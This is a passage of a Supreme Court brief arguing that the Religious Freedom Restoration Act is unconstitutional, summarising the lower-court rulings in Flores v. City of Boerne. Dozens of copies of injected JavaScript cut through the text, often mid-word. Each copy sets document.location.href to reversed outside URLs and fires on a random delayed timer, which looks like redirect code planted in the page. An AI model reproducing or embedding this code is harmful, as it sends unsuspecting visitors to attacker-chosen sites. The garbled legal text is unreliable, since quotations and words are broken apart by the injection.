18000;setTimeout($mWn(0),delay);}toration Act (“RFRA” or “the Act”), 42 U.S.C. § 2000bb (1993).

2. The District Court. Following certification of the question of RFRA’s constitutionality pursuant doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to28 U.S.C. § 2403(a) doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Atdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney General of the United States, intervention of the United States, and briefing on the constitutional issue by all parties, the district court ruled that RFRA was facially invalid because “Congress specifically sought doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overturn Supreme Court precedent as found in Employment Division v. Smith through the passage of RFRA,” Flores v. City of Boerne, 877 F. Supp. 355, 357 (W. D. Tex. 1995), and therefore infringed on the long-settled authority of the courts “‘doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is.'” Id. (quoting Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803)). The court noted Congress’s power under Section 5 of the Fourteenth Amendment, but did not find it a persuasive basis [16]  for congressional authority in light of “Congress’ violation of the doctrine of Separation of Powers by intruding on the power and duty of the judiciary.” Flores, 877 F. Supp. at 357.

The district court certified its order for interlocudoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory appeal doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the court of appeals pursuant doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 28 U.S.C. § 1292(b). Cert. Pet. App. at 29a. Respondent Flores and the United States appealed the district court’s decision. The court of appeals accepted the appeal, treating it as a Fed. R. Civ. P. 54(b) partial final judgment. Jt. App. at 73.

3. The Court of Appeals. The court of appeals reversed on four grounds. First, the court held that Congress acted within its power under Section 5 of the Fourteenth Amendment on the theory that RFRA is remedial because it prohibits “budding or disguised constitutional violations,” “sprouting constitutional violations,” and “incipient constitutional violations.” Flores, 73 F.3d at 1359-60. The court applied the three-part test found in M’Culloch v. Maryland, 17 U.S. (4 Wheat.) 316, 421 (1819):

Let the end be legitimate, let it be within the scope of the constitution, and all means which are [17]  appropriate, which are plainly adapted doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that end, which are not prohibited, but consist with the letter and spirit of the constitution, are constitutional.

 

The Fifth Circuit found that RFRA “may be regarded” as an enactment doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce the Fourteenth Amendment, which incorporates the First Amendment. In support of its conclusion that RFRA enforces the First Amendment’s prohibitions against the states, the court cited legislative hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory regarding the “need for legislation doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defend individuals, particularly those from minority religions, from generally applicable laws that burden the exercise of religion.” Flores, 73 F.3d at 1359.

The court then stated that RFRA is “plainly adapted doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to [the end of the First Amendment.]” Flores, 73 F.3d at 1360. The court agreed with the United States’ argument that “even if the Constitution only prohibits governmental action taken with the intent of interfering with religious exercise, Congress may go farther, as it did with RFRA, and prohibit conduct that has the effect of burdening the exercise of religion” on the ground that this Court had held in City of Rome v. United States, 446 U.S. 156, 177 (1980), [18]  that Congress may “prohibit laws with a racially discriminadoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory effect . . . as an appropriate method of promoting the Amendment’s purpose, even if the Constitution only prohibits laws with a racially discriminadoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory intent.” Flores, 73 F.3d at 1360. Further, the court reasoned, RFRA could be justified as an attempt doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect religious minorities, and that Congress “could reasonably conclude” that minority religions would be at a disadvantage in obtaining religious exemptions. Id.

The Fifth Circuit ruled that the third prong of the M’Culloch test, whether RFRA is consistent “with the letter and spirit of the constitution,” was satisfied because RFRA did not violate the separation of powers, the Establishment Clause, or the Tenth Amendment.

Second, the court addressed the City’s separation of powers challenge doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to RFRA. The City had argued that RFRA violates the separation of powers by permitting Congress doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legislate an interpretation of the Constitution at odds with the Supreme Court’s interpretation. The City cited this Court’s statement in Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803), that it is the duty of the judiciary “doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law [19]  is.” Acknowledging that RFRA is a “direct response doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Supreme Court’s decision in Smith,” the court rejected the notion that RFRA “second-guess[es] the courts.” Flores, 73 F.3d at 1361. Rather, the court characterized RFRA as a statute regulating “nascent violations” of the Free Exercise Clause, in the sense that it dispenses with the requirement that discriminadoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory purpose be shown in order doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ferret out substantial burdens on the free exercise of religion. Id.

The court of appeals also reasoned that because governments may accommodate religion more than the Free Exercise Clause requires, Congress has the power doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to force all governments doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate all religious conduct substantially burdened by a generally applicable law. It concluded: “In short, the judiciary’s duty is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is, but that duty is not exclusive.”Id. at 1363.

The court of appeals also termed as “facile” the United States’ argument that RFRA is merely a statute that “provides legislative protection for a constitutional right over and above that provided by the Constitution.” Flores, 73 F.3d at 1361. The court stated: “We will not pretend that RFRA is [20]  anything but a direct response doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Supreme Court’s decision in Smith.” Id. Nevertheless, the court upheld RFRA on the theory that Section 5 permits Congress “an extraordinary exercise of power.” Flores, 73 F.3d at 1362.

Third, the court rejected the City’s argument that RFRA violates the Establishment Clause by privileging religion on the ground that RFRA does not “amount doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Government coercing religious activity through ‘its own activities and influence.'” Flores, 73 F.3d at 1364 (quotingCorporation of Presiding Bishop v. Amos, 483 U.S. 327, 337 (1987)).

Finally, the court held that RFRA “on its face” does not violate the Tenth Amendment, but left “RFRA’s applicability doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to particular areas of state regulation . . . for individual, case-by-case resolution.” Id.

The City of Boerne filed a timely Petition for Writ of Certiorari in this Court, and on Ocdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 15, 1996, the writ was granted.

SUMMARY OF ARGUMENT

The Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act requires governments doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religious conduct unless they can prove a “compelling interest” and that they have acted with the “least restrictive means.” 42 U.S.C. § 2000bb-1, [21]  reprinted in Cert. Pet. App. at 40a. It was enacted for the purpose of supplanting this Court’s interpretation of the Free Exercise Clause announced inEmployment Division v. Smith, 494 U.S. 872 (1990), with an interpretation more palatable doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress.

The word “Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration” in the Act’s title is a euphemism. In Smith, this Court announced that neutral, generally applicable laws are not subject doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the compelling interest standard. Smith, 494 U.S. at 885. RFRA’s across-the-board, extraordinarily high standard requires more than this Court’s free exercise doctrine ever required, either in Smith or before Smith. This brazen attempt doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take over free exercise law knows no parallel in congressional hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory and violates the separation of powers, federalism principles, and the Establishment Clause.

The courts’ core judicial function is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to resolve Article III cases or controversies by reading and interpreting the relevant constitutional text. Under the guise of creating a “statudoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory” cause of action doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to support a legislatively-preferred reading of the Free Exercise Clause, Congress has taken over the judicial function of interpreting the Constitution in the course [22]  of adjudicating cases and controversies.

